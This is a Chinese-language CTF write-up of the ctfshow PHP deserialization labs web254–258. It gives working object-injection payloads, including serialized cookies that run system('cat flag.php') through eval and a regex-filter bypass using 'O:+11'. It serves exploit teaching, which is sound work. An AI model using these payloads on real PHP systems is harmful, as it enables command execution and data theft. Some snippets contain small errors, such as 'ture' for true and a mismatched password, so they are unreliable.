ctfshow web入门——反序列化-Toy模板网

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web254

web255

web256

web257

web258

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

代码审计，上传username=xxxxxx&password=xxxxxx即可获得flag

web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

分析代码可知，这里user的值是使用反序列化user COOKIE传参的值

并且传入的值是username=xxxxxx和password=xxxxxx

利用php文件将其反序列化并进行url编码

<?php

class ctfShowUser{
    
    public $username='xxxxxx';
    
    public $password='xxxxx';
    
    public $isVip=ture;
    
}

$a=serialize(new ctfShowUser());

echo urlencode($a);

将结果上传，并要从cookie中传入，获得flag

ctfshow web入门——反序列化

web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上题差不多，但这题是!==，即需保证username和password的值不同，但类型一样

所以只需要将password的修改成和username不一样就好了（例如把password的x删去一个）

并且get传参的值要和COOKIE传参的值相同

payload

?username=xxxxxx&&password=xxxxx

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

ctfshow web入门——反序列化

用到了一个函数construct（）：构造函数（constructor method，也称为构造器）是类中的一种特殊函数，当使用 new 关键字实例化一个对象时，构造函数将会自动调用。

可以根据这个函数的性质在创建对象的时候进行命令执行

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class='backDoor';
 
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("cat f*");';
}
 
$ctfShowUserObj = new ctfShowUser();
$a = serialize($ctfShowUserObj);
echo urlencode($a);
 
?>

构造payload：

?username=xxxxxx&&password=xxxxxx

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

相较于上一题这里多加了一个过滤，可以在数字前面加一个+进行绕过

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;
}
class backDoor{
    public $code="system('cat flag.php');"; 
}
 
$a = new ctfShowUser;
$a -> class = new backDoor;
$b=serialize($a);
$b = str_replace("O:11","O:+11",$b);
$b = str_replace("O:8","O:+8",$b);
echo urlencode($b);

payload

payload:
get传参：?username=xxxxxx&password=xxxxxx
cookie上传: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

flag需要在网页源代码中找到

ctfshow web入门——反序列化文章来源地址https://www.toymoban.com/news/detail-509644.html